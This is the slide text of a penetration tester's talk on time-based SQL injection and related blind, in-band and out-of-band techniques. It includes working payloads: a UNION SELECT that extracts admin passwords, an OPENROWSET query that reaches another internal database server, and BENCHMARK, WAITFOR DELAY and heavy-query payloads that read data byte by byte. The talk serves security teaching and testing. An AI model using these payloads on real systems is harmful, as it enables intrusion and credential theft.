Time Based SQL Injection

1. Time Based SQL Injection Presented by Muhaimin Dzulfakar

2. Who am I • Muhaimin Dzulfakar • Security Consultant – Security-Assessment.com • Application and network pen-tester

3. Agenda • What is time based SQL Injection • Differences between blind and time based SQL Injection • Time based injection with heavy queries • Limitation of time based SQL Injection

4. Different types of SQL Injection • In Band Injection • Out of Band Injection • Blind SQL Injection • Time Based SQL Injection

5. In Band Injection • Results are embedded via union select • Useful when SQL error message is displayed • Fastest way to extract data • Ex: http://www.buyviagra.com/buy.php?id=1 UNION ALL null, null, null, null, concat(username,0x3a,admin_password), null from admin/*

6. In Band Injection

7. Out of Band Injection • Use a different communication channel to drill for data Ex: Web Mail application in which data received via SMTP is processed • Example of attack: Accessing your neighbour database server with OOB injection Ex: http://www.buyviagra.com/buy.asp?id=1 UNION ALL SELECT a.* FROM OPENROWSET('SQLOLEDB','uid=sa;pwd=; Network=DBMSSOCN;Address=10.1.1.1;timeout=1','SELECT user, pass FROM users') AS a--

8. Out of Band Injection www.buyviagra.com Web server OOB Injection Database A Database B 10.1.1.1

9. Blind SQL Injection • Application generates custom error message for failed response and normal page for successful response • Comparison between true and false response • AND 1=1 -> true AND 1=2 -> false • Read data byte by byte

10. Blind SQL Injection

11. Blind SQL Injection

12. Time Based SQL Injection • Use time delay to differentiate between true and false • True response – time delay is executed • Failed response – time delay is not executed • Read data byte by byte – exactly the same method as blind injection • First example by Chris Anley's paper – More advanced SQL Injection • Another example is in David Litchfield paper – Data Mining with SQL Injection and Inference

13. When we need Time Based SQL Injection When the application generates default page for true or false response When the application generates the same custom error page for true or false response Injection is successful but can't be seen by the attacker

14. Scenario 1 (Blind Injection attack)‏ $default=1 if value is not between 1-20 { redirect user to page.php?id=$default execute SQL statement } 1 AND 1=1 [TRUE] -> default page displayed 1 AND 1=2 [FALSE] -> default page displayed BLIND INJECTION FAILED!

15. Scenario 1(Time Based Blind Injection attack)‏ $default=1 if value is not between 1-20 { redirect user to page.php?id=$default execute SQL statement } 1 AND 1=1 [TRUE] -> takes 5 seconds to response 1 AND 1=2 [FALSE] -> takes 1 second to response TIME BASED BLIND INJECTION WORKS!

16. Time Based SQL Injection FALSE = 117ms TRUE = 2478ms

17. Spot the different Blind Injection (for MySql)‏ 1 AND ASCII(substring((@@version),1,1))<52 If the first character of the database version is less than 4, it is true If the first character of database version is 4 or more, it is false position query operator char

18. Spot the different Time Based Blind injection (for MySQL)‏ 1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)<52),BENCHMARK(900000,SHA1(1)),1))‏ If the first character of database version is less than 4, execute BENCHMARK If the first character of database version is not less than 4,do not execute BENCHMARK char count time operator time delay query position

19. Time Based Injection on MSSQL Time Based Injection (MSSQL)‏ 1 AND if not(substring((select @version),25,1) < 52)‏ waitfor delay '0:0:9'-- If the first character less than 4, execute “waitfor delay” query time delay position operator char

20. Other Databases Oracle (without PL/SQL support) MS Access, DB2 do not have delay functions Time Based Injection is possible by using heavy queries Chema Alonso and Jose Prada talked about this in Defcon 2008 2 types of conditions in 'where clause' Light Condition first Heavy Condition first Select A from B where ConditionA and ConditionB

21. Heavy condition first Heavy condition 100sec Light Condition 10sec Heavy & Light Condition Result True False False 110 Seconds True True True 110 Seconds False - False 100 Seconds Result from Alonso research

22. Light condition first Light condition 10sec Heavy Condition 100sec Heavy & Light Condition Result True False False 110 Seconds True True True 110 Seconds False - False 10Seconds Result from Alonso research

23. Heavies Queries Oracle evaluates the conditions from left to right MS Access evaluates the conditions from right to left MSSQL evaluates light condition first Table name needs to be known Some of the well known default tables MSSQL – sysussers MySQL – information_schema.colums Oracle - all_users

24. Heavies Queries Example of time based injection using heavy queries on MSSQL (light condition evaluates first)‏ 1 AND (select count(*) FROM sysusers as sys1, sys2, sysusers as sys2, sysusers as sys3, sysusers as sys4, sysusers as sys5, sysusers as sys6, sysusers as sys7, sysusers as sys8)> 0 AND 52 < (select top 1 ASCII(substring(name,1,1)) from sysusers)‏ Suitable for databases that do not support time delay functions Ex: Oracle and MS Access heavy query light query

25. Limitation Results are not efficient during the busy times Time delay results also depend on how much data stored in the table

26. Demo

27. Question ? muhaimin.dzulfakar@security-assessment.com